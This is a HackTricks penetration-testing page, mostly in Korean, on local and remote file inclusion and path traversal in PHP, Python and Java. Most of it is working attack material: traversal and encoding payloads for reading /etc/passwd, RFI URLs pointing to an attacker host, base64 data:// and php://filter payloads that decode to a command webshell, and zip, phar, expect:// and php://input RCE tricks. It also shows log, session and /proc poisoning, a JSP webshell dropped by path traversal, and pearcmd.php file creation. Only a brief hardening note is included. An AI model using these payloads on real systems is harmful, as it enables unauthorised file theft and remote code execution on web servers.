File Inclusion/Path traversal
Reading time: 25 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
File Inclusion
Remote File Inclusion (RFI): 파일이 원격 서버에서 로드됩니다 (장점: 코드를 작성하면 서버가 이를 실행합니다). In php this is 비활성화 by default (allow_url_include).
Local File Inclusion (LFI): 서버가 로컬 파일을 로드합니다.
취약점은 사용자가 서버가 로드할 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다.
취약한 PHP functions: require, require_once, include, include_once
이 취약점을 악용하기 위한 도구: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
여러 *nix LFI 목록을 혼합하고 경로를 더 추가해서 만든 목록:
또한 /
을 \
로 변경해보세요
또한 ../../../../../
를 추가해보세요
취약점 존재 여부를 확인하기 위해 /etc/password 파일을 찾는 여러 기법을 사용한 목록은 here
Windows
다양한 wordlists의 병합:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
또한 /
을 \
로 변경해보세요
또한 C:/
를 제거하고 ../../../../../
를 추가해보세요
취약점 존재 여부를 확인하기 위해 /boot.ini 파일을 찾는 여러 기법을 사용한 목록은 here
OS X
linux의 LFI 목록을 확인하세요.
기본 LFI 및 우회
모든 예제는 Local File Inclusion을 위한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences가 비재귀적으로 제거됨
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
제공된 문자열 끝에 더 많은 문자를 추가하는 것을 우회 (우회 대상: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
이 문제는 PHP 5.4에서 해결되었습니다
인코딩
double URL encode 등 비표준 인코딩을 사용할 수 있습니다:
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
존재하는 폴더에서
어쩌면 back-end가 폴더 경로를 검사하고 있을 수 있습니다:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
서버에서 파일 시스템 디렉터리 탐색
서버의 파일 시스템은 특정 기술을 사용하여 파일뿐 아니라 디렉터리도 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉터리 깊이를 판단하고 특정 폴더의 존재 여부를 확인하는 작업을 포함합니다. 아래는 이를 달성하기 위한 자세한 방법입니다:
- 디렉터리 깊이 판단: 현재 디렉터리의 깊이는
/etc/passwd
파일을 성공적으로 가져오면 확인할 수 있습니다(서버가 Linux 기반인 경우 해당). 예시 URL은 다음과 같이 구성되어 깊이가 세임을 나타낼 수 있습니다:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- 폴더 탐색: 의심되는 폴더 이름(예:
private
)을 URL에 추가한 다음/etc/passwd
로 다시 이동합니다. 추가된 디렉터리 레벨 때문에 depth를 하나 증가시켜야 합니다:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpret the Outcomes: 서버의 응답은 해당 폴더의 존재 여부를 나타냅니다:
- Error / No Output: 폴더
private
는 지정된 위치에 존재하지 않을 가능성이 높습니다. - Contents of
/etc/passwd
:/etc/passwd
의 내용이 표시되면private
폴더의 존재가 확인됩니다.
- Recursive Exploration: 발견된 폴더는 동일한 기법이나 전통적인 Local File Inclusion (LFI) 방법으로 하위 디렉토리나 파일을 추가로 탐색할 수 있습니다.
파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 payload를 적절히 조정하세요. 예를 들어, 현재 디렉토리가 깊이 3에 있다고 가정하고 /var/www/
에 private
디렉토리가 있는지 확인하려면 다음을 사용하세요:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation은 웹 애플리케이션에서 파일 경로를 조작하기 위해 사용되는 기법입니다. 주로 파일 경로 끝에 추가 문자를 덧붙이는 보안 조치를 bypass하여 제한된 파일에 접근하는 데 사용됩니다. 목표는 보안 조치에 의해 변경된 이후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것입니다.
In PHP, 파일 시스템의 특성상 파일 경로의 다양한 표현이 동일하게 취급될 수 있습니다. 예를 들어:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, and/etc/passwd/
는 모두 동일한 경로로 취급됩니다.- When the last 6 characters are
passwd
, appending a/
(making itpasswd/
) doesn't change the targeted file. - Similarly, if
.php
is appended to a file path (likeshellcode.php
), adding a/.
at the end will not alter the file being accessed.
제공된 예시는 path truncation을 이용해 민감한 내용을 담고 있는 일반적인 대상인 /etc/passwd
에 접근하는 방법을 보여줍니다 (사용자 계정 정보):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
이러한 시나리오에서는 필요한 traversals 수가 대략 2027개 정도일 수 있지만, 이 수치는 서버 구성에 따라 달라질 수 있습니다.
- Using Dot Segments and Additional Characters: Traversal sequences (
../
)와 추가 점 세그먼트 및 문자들을 조합하여 파일 시스템을 탐색할 수 있으며, 이로써 서버가 덧붙인 문자열을 사실상 무시할 수 있습니다. - Determining the Required Number of Traversals: 시행착오를 통해 루트 디렉터리까지, 그 다음
/etc/passwd
로 이동하는 데 필요한 정확한../
시퀀스 수를 찾아낼 수 있으며, 이 과정에서.php
같은 덧붙여진 문자열은 무력화되지만 원하는 경로 (/etc/passwd
)는 온전하게 유지됩니다. - Starting with a Fake Directory: 경로를 존재하지 않는 디렉터리(예:
a/
)로 시작하는 것은 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 로직 요구사항을 만족시키기 위해 사용됩니다.
path truncation techniques를 사용할 때는 서버의 경로 파싱 동작과 파일시스템 구조를 이해하는 것이 중요합니다. 각 시나리오마다 다른 접근법이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 자주 필요합니다.
이 취약점은 PHP 5.3에서 수정되었습니다.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
php에서는 기본적으로 비활성화되어 있습니다. 이는 **allow_url_include
**가 **Off.**이기 때문입니다. 동작하려면 On이어야 하며, 그 경우 서버에서 PHP 파일을 include하여 RCE를 얻을 수 있습니다:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
어떤 이유로 **allow_url_include
**가 On인데, PHP가 외부 웹페이지에 대한 접근을 필터링하는 경우, according to this post, 예를 들어 data protocol과 base64를 사용하여 b64 PHP 코드를 디코드하고 egt RCE를 얻을 수 있습니다:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
이전 코드에서 마지막 +.txt
는 공격자가 .txt
로 끝나는 문자열을 필요로 했기 때문에 추가된 것입니다. 문자열은 그로 끝나고 b64 디코드 후 그 부분은 단지 쓰레기를 반환하며 실제 PHP 코드는 포함되어 (따라서, 실행) 됩니다.
또 다른 예시로 php://
프로토콜을 사용하지 않는 경우는 다음과 같습니다:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python 루트 요소
다음과 같은 python 코드에서:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
사용자가 절대 경로를 **file_name
**에 전달하면, 이전 경로는 단순히 제거됩니다:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
It is the intended behaviour according to the docs:
구성 요소가 절대 경로인 경우, 이전의 모든 구성 요소는 버려지고 결합은 절대 경로 구성 요소에서 계속됩니다.
Java 디렉토리 나열
보아하니 Java에서 Path Traversal이 있고 파일 대신 디렉토리를 요청하면, 디렉토리의 목록이 반환됩니다. 다른 언어에서는 이런 일이 발생하지 않는 것 같습니다 (afaik).
상위 25개 파라미터
다음은 local file inclusion (LFI) 취약점에 노출될 수 있는 상위 25개 파라미터 목록입니다 (출처: link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI — PHP wrappers 및 프로토콜 사용
php://filter
PHP filters는 데이터가 읽히거나 쓰이기 전에 기본적인 데이터 수정 작업을 수행할 수 있게 합니다. 필터는 5가지 범주로 나뉩니다:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: 데이터에서 태그를 제거합니다 (everything between "<" and ">" chars)- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: 다른 인코딩으로 변환합니다(convert.iconv.<input_enc>.<output_enc>
). 지원되는 모든 인코딩 목록을 얻으려면 콘솔에서iconv -l
을 실행하세요.
warning
convert.iconv.*
변환 필터를 악용하면 임의의 텍스트를 생성할 수 있습니다, 이는 임의 텍스트를 쓰거나 include 같은 함수가 임의 텍스트를 처리하게 만드는 데 유용할 수 있습니다. 자세한 내용은 LFI2RCE via php filters를 확인하세요.
- Compression Filters
zlib.deflate
: 내용을 압축합니다 (useful if exfiltrating a lot of info)zlib.inflate
: 데이터를 압축 해제합니다- Encryption Filters
mcrypt.*
: 사용 중단됨mdecrypt.*
: 사용 중단됨- Other Filters
- php에서
var_dump(stream_get_filters());
를 실행하면 몇 가지 예상치 못한 필터를 찾을 수 있습니다: consumed
dechunk
: reverses HTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
The part "php://filter" is case insensitive
Using php filters as oracle to read arbitrary files
In this post 에서는 서버로부터 출력이 직접 반환되지 않아도 로컬 파일을 읽을 수 있는 기법을 제안합니다. 이 기법은 boolean exfiltration of the file (char by char) using php filters 를 오라클로 사용하는 방식에 기반합니다. 이는 php filters를 이용해 텍스트를 충분히 크게 만들어 php가 예외를 발생시키게 할 수 있기 때문입니다.
원문 포스트에서 기법의 자세한 설명을 볼 수 있으며, 여기에는 간단한 요약을 적습니다:
- codec
UCS-4LE
를 사용하면 텍스트의 선행 문자가 앞부분에 남고 문자열 크기가 지수적으로 증가합니다. - 이것을 이용해 초기 문자가 올바르게 추측되었을 때 텍스트가 매우 커져서 php가 오류를 발생시키도록 만듭니다.
- dechunk 필터는 첫 문자가 16진수가 아니면 모든 것을 제거하므로 첫 문자가 16진수인지 알 수 있습니다.
- 이 점과 앞의 방법(및 추측한 문자에 따라 사용하는 다른 필터들)을 조합하면, 충분한 변환을 수행했을 때 처음 문자가 16진수가 아니게 되는 시점을 통해 처음 문자를 추측할 수 있습니다. 만약 16진수라면 dechunk가 삭제하지 않고 초기 폭탄(bomb)이 php 오류를 유발합니다.
- codec convert.iconv.UNICODE.CP930 은 각 문자를 다음 문자로 변환합니다(따라서 이 codec을 적용하면: a -> b). 이를 이용하면 예를 들어 처음 문자가
a
인지 확인할 수 있습니다. 이 codec을 6번 적용하면 a->b->c->d->e->f->g 가 되어 문자가 더 이상 16진수 문자가 아니게 되고, 따라서 dechunk가 삭제하지 않아 초기 폭탄으로 인해 php 오류가 발생합니다. - 초기에 rot13 같은 변환을 사용하면 n, o, p, q, r 같은 문자들도 leak할 수 있으며(다른 codec들을 사용해 다른 문자들을 16진수 범위로 이동시킬 수도 있습니다) .
- 초기 문자가 숫자일 때는 base64로 인코딩하고 처음 두 글자를 leak하여 숫자를 식별해야 합니다.
- 최종 문제는 초기 문자보다 더 많은 문자들을 어떻게 leak할 것인가입니다. 순서 변경 memory 필터들인 convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE 등을 사용하면 문자들의 순서를 바꿔 텍스트의 다른 문자를 첫 번째 위치로 가져올 수 있습니다.
- 추가 데이터를 얻기 위해서는 아이디어가 convert.iconv.UTF16.UTF16 으로 시작에 2바이트의 정크 데이터를 생성하고, UCS-4LE 를 적용해 다음 2바이트와 pivot 시키며, 정크 데이터가 나올 때까지 데이터를 삭제하는 것입니다(이렇게 하면 초기 텍스트의 처음 2바이트가 제거됩니다). 원하는 비트를 leak할 때까지 이 과정을 반복합니다.
포스트에는 이 작업을 자동화한 도구도 공개되어 있습니다: php_filters_chain_oracle_exploit.
php://fd
이 wrapper는 프로세스가 열어둔 file descriptors에 접근할 수 있게 해줍니다. 열린 파일의 내용을 exfiltrate하는 데 잠재적으로 유용합니다:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
또한 php://stdin, php://stdout and php://stderr를 사용해 각각 file descriptors 0, 1 and 2에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 확실하지 않습니다)
zip:// 및 rar://
PHPShell이 포함된 Zip 또는 Rar 파일을 업로드하고 접근합니다.
rar protocol을 악용하려면 명시적으로 활성화되어야 합니다.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
이 프로토콜은 php 설정 allow_url_open
및 **allow_url_include
**에 의해 제한된다는 점에 유의하세요
expect://
Expect는 활성화되어 있어야 합니다. 다음을 사용하여 코드를 실행할 수 있습니다:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
POST 파라미터에 payload를 지정하세요:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
.phar
파일은 웹 애플리케이션이 파일 로딩을 위해 include
같은 함수를 사용할 때 PHP 코드를 실행하는 데 사용할 수 있습니다. 아래의 PHP 코드 스니펫은 .phar
파일 생성 예시를 보여줍니다:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
.phar
파일을 컴파일하려면 다음 명령을 실행해야 합니다:
php --define phar.readonly=0 create_path.php
실행하면 test.phar
파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 사용될 수 있습니다.
LFI가 내부의 PHP 코드를 실행하지 않고 file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, filesize()
같은 함수로 파일을 단순히 읽기만 하는 경우, phar
프로토콜을 통한 파일 읽기와 관련된 역직렬화 취약성을 악용할 수 있습니다.
자세한 내용은 아래 문서를 참조하세요:
Phar Deserialization Exploitation Guide
CVE-2024-2961
PHP에서 php filters를 지원하는 임의의 파일 읽기(any arbitrary file read from PHP that supports php filters)를 악용해 RCE를 얻을 수 있었습니다. 자세한 설명은 found in this post.
매우 간단한 요약: PHP heap의 3 byte overflow를 악용해 특정 크기의 free chunks 체인을 alter the chain of free chunks하도록 변경하여 임의 주소에 write anything in any address할 수 있게 만들었고, 그래서 **system
**을 호출하는 hook을 추가했습니다.\ 더 많은 php filters를 악용해 특정 크기의 chunks를 alloc하는 것도 가능했습니다.
More protocols
더 많은 가능한 protocols to include here을 확인하세요:
- php://memory and php://temp — 메모리나 임시 파일에 쓰기 (not sure how this can be useful in a file inclusion attack)
- file:// — 로컬 파일 시스템 접근
- http:// — HTTP(s) URL 접근
- ftp:// — FTP(s) URL 접근
- zlib:// — 압축 스트림
- glob:// — 패턴에 맞는 경로명 찾기 (출력 가능한 내용을 반환하지 않으므로 여기서는 그다지 유용하지 않음)
- ssh2:// — Secure Shell 2
- ogg:// — 오디오 스트림 (arbitrary files 읽기에는 유용하지 않음)
LFI via PHP의 'assert'
PHP에서 'assert' 함수는 문자열 내의 코드를 실행할 수 있기 때문에 Local File Inclusion (LFI)의 위험이 특히 큽니다. 특히 ".." 같은 directory traversal 문자를 포함한 입력을 검사하지만 적절히 정제(sanitize)하지 않는 경우 더 문제가 됩니다.
예를 들어, PHP 코드가 다음과 같이 directory traversal을 방지하도록 작성되어 있을 수 있습니다:
assert("strpos('$file', '..') === false") or die("");
이는 traversal을 차단하려는 의도이지만, 의도치 않게 code injection을 위한 벡터를 생성합니다. 파일 내용을 읽기 위해 이를 악용하려면, 공격자는 다음을 사용할 수 있습니다:
' and die(highlight_file('/etc/passwd')) or '
유사하게, 임의의 시스템 명령을 실행하기 위해 다음을 사용할 수 있습니다:
' and die(system("id")) or '
It's important to URL-encode these payloads.
PHP Blind Path Traversal
warning
이 기법은 당신이 file path를 제어하는 PHP function이 파일에 접근하지만 파일의 내용을 볼 수 없는 경우(예: 단순한 file()
호출처럼)에 해당합니다.
In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
요약하자면, 이 기법은 "UCS-4LE" encoding을 사용해 파일의 내용을 매우 big하게 만들어 해당 파일을 여는 PHP function이 error를 발생시키도록 합니다.
그 다음, 첫 번째 char를 leak하기 위해 필터 **dechunk
**가 base64나 rot13 같은 필터들과 함께 사용되며, 마지막으로 convert.iconv.UCS-4.UCS-4LE와 convert.iconv.UTF16.UTF-16BE 필터를 사용해 다른 chars를 맨 앞에 배치하고 그것들을 leak합니다.
Functions that might be vulnerable: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
파일을 수집/업로드하는 서버측 코드가 user-controlled data(예: filename 또는 URL)를 사용해 대상 경로를 생성하면서 canonicalising 및 검증을 하지 않으면, ..
세그먼트와 절대 경로가 의도한 디렉터리를 벗어나 임의의 파일 쓰기를 초래할 수 있습니다. 만약 payload를 web-exposed directory 아래에 둘 수 있다면, 보통 webshell을 업로드하여 인증 없이 RCE를 얻습니다.
Typical exploitation workflow:
- path/filename을 받아 디스크에 내용을 쓰는 endpoint나 background worker에서 쓰기 primitive를 식별합니다 (예: message-driven ingestion, XML/JSON command handlers, ZIP extractors, 등).
- Determine web-exposed directories. Common examples:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- 의도한 저장 디렉터리에서 webroot로 탈출하는 traversal 경로를 만들고, webshell 내용을 포함시킵니다.
- 업로드한 payload에 접속하여 명령을 실행합니다.
Notes:
- 쓰기 작업을 수행하는 취약한 서비스는 비-HTTP 포트에서 수신(listen)할 수 있습니다(예: TCP 4004의 JMF XML listener). 메인 웹 포탈(다른 포트)이 나중에 당신의 payload를 서빙할 수 있습니다.
- Java 스택에서는 이러한 파일 쓰기가 종종 단순한
File
/Paths
연결로 구현됩니다. canonicalisation/allow-listing의 부재가 핵심 결함입니다.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
이 종류의 버그를 무력화하는 하드닝:
- 경로를 정규화(canonical path)하고 허용 목록에 등록된 기본 디렉터리(allow-listed base directory)의 하위인지 강제합니다.
..
, 절대 루트, 또는 드라이브 문자가 포함된 경로는 거부하고, 생성된 파일명(generated filenames)을 선호합니다.- writer를 권한이 낮은 계정(low-privileged account)으로 실행하고, 쓰기 디렉터리를 서비스 루트(served roots)와 분리합니다.
Remote File Inclusion
자세한 내용은, follow this link.
Apache/Nginx 로그 파일을 통해
Apache 또는 Nginx 서버가 include 함수 내부에서 LFI에 취약하다면 **/var/log/apache2/access.log
또는 /var/log/nginx/access.log
**에 접근을 시도하고, user agent나 GET parameter 안에 <?php system($_GET['c']); ?>
같은 php shell을 넣은 뒤 해당 파일을 include 해볼 수 있습니다.
warning
쉘에 대해 double quotes를 사용하고 simple quotes를 사용하지 않으면, double quotes가 문자열 "quote;"로 변경되어 PHP가 오류를 발생시키며 다른 것은 실행되지 않습니다.
또한, 페이로드(payload)를 정확히 작성해야 합니다. 그렇지 않으면 로그 파일을 불러올 때마다 PHP가 오류를 발생시키며 두 번째 기회는 없을 것입니다.
이 방법은 다른 로그에서도 가능하지만 주의하세요, 로그 안의 코드는 URL encoded될 수 있어 Shell이 깨질 수 있습니다. 헤더 **authorisation "basic"**는 Base64로 인코딩된 "user:password"를 포함하며 로그 내부에서 디코딩됩니다. PHPShell은 이 헤더 안에 삽입될 수 있습니다.
Other possible log paths:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
이메일로
메일을 보내세요 내부 계정(user@localhost)으로, <?php echo system($_REQUEST["cmd"]); ?>
같은 PHP payload를 포함한 뒤, 사용자 메일을 include 하려고 다음 경로들 중 하나를 시도해보세요: /var/mail/<USERNAME>
또는 /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
- 많은 shells(예: 100)를 업로드하세요.
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, 여기서 $PID는 프로세스의 PID입니다 (can be brute forced)이고 $FD는 파일 디스크립터입니다 (can be brute forced too).
Via /proc/self/environ
로그 파일처럼, payload를 User-Agent에 넣어 전송하면 /proc/self/environ 파일에 반영됩니다.
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
업로드를 통해
파일을 업로드할 수 있다면, 단순히 shell payload를 파일에 주입하세요 (예: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
파일을 읽기 쉽게 유지하려면 이미지/문서/PDF의 메타데이터에 주입하는 것이 가장 좋습니다
ZIP 파일 업로드
PHP shell이 포함된 ZIP 파일을 업로드한 뒤 접근:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
PHP sessions를 통해
웹사이트가 PHP Session (PHPSESSID)을 사용하고 있는지 확인하세요.
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
PHP에서는 이러한 세션이 /var/lib/php5/sess\[PHPSESSID]_ 파일에 저장됩니다
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
쿠키를 <?php system('cat /etc/passwd');?>
로 설정하세요
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
LFI를 사용하여 PHP session 파일을 포함하세요
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
ssh를 통해
ssh가 활성화되어 있다면 어떤 사용자가 사용 중인지 (/proc/self/status & /etc/passwd)를 확인하고 <HOME>/.ssh/id_rsa에 접근을 시도하세요
를 통한 vsftpd 로그
FTP 서버 vsftpd의 로그는 _/var/log/vsftpd.log_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 절차를 고려할 수 있습니다:
- 로그인 과정에서 username 필드에 PHP payload를 주입합니다.
- 주입 후, LFI를 이용해 _/var/log/vsftpd.log_에서 서버 로그를 가져옵니다.
php base64 filter (base64 사용 시)
위 this article에서 보듯, PHP base64 filter는 Non-base64를 무시합니다. 이를 이용해 파일 확장자 검사(file extension check)를 우회할 수 있습니다: 만약 base64가 ".php"로 끝나도록 제공하면, filter는 "."를 무시하고 "php"를 base64에 덧붙입니다. 예시 payload는 다음과 같습니다:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
php filters를 통한 방법 (파일 불필요)
This writeup 는 php filters를 사용해 임의의 콘텐츠를 출력으로 생성할 수 있다고 설명합니다. 즉, include에 사용할 임의의 php 코드를 생성할 수 있으며 파일로 작성할 필요 없이 가능합니다.
segmentation fault를 통한 방법
파일을 업로드하면 /tmp
에 임시로 저장됩니다. 같은 요청에서 segmentation fault를 발생시키면 임시 파일이 삭제되지 않고 해당 파일을 검색할 수 있습니다.
LFI2RCE via Segmentation Fault
Nginx 임시 파일 저장을 통한 방법
Local File Inclusion을 발견했고 Nginx가 PHP 앞단에서 동작 중이라면, 다음 기법으로 RCE를 얻을 수 있습니다:
PHP_SESSION_UPLOAD_PROGRESS를 통한 방법
세션이 없고 session.auto_start
가 Off
인 경우에도 Local File Inclusion을 발견했다면, multipart POST 데이터에 **PHP_SESSION_UPLOAD_PROGRESS
**를 제공하면 PHP가 세션을 활성화합니다. 이를 악용하여 RCE를 얻을 수 있습니다:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Windows에서 임시 파일 업로드를 통한 방법
Local File Inclusion을 발견했고 서버가 Windows에서 동작 중이라면 RCE를 얻을 수 있습니다:
pearcmd.php
+ URL args를 통한 방법
As explained in this post, 스크립트 /usr/local/lib/phppearcmd.php
는 php docker 이미지에 기본으로 존재합니다. 또한 URL 파라미터에 =
가 없으면 그 값을 인수로 사용하도록 되어 있어 URL을 통해 스크립트에 인수를 전달할 수 있습니다. 또한 watchTowr’s write-up와 Orange Tsai’s “Confusion Attacks”도 참고하세요.
The following request create a file in /tmp/hello.php
with the content <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
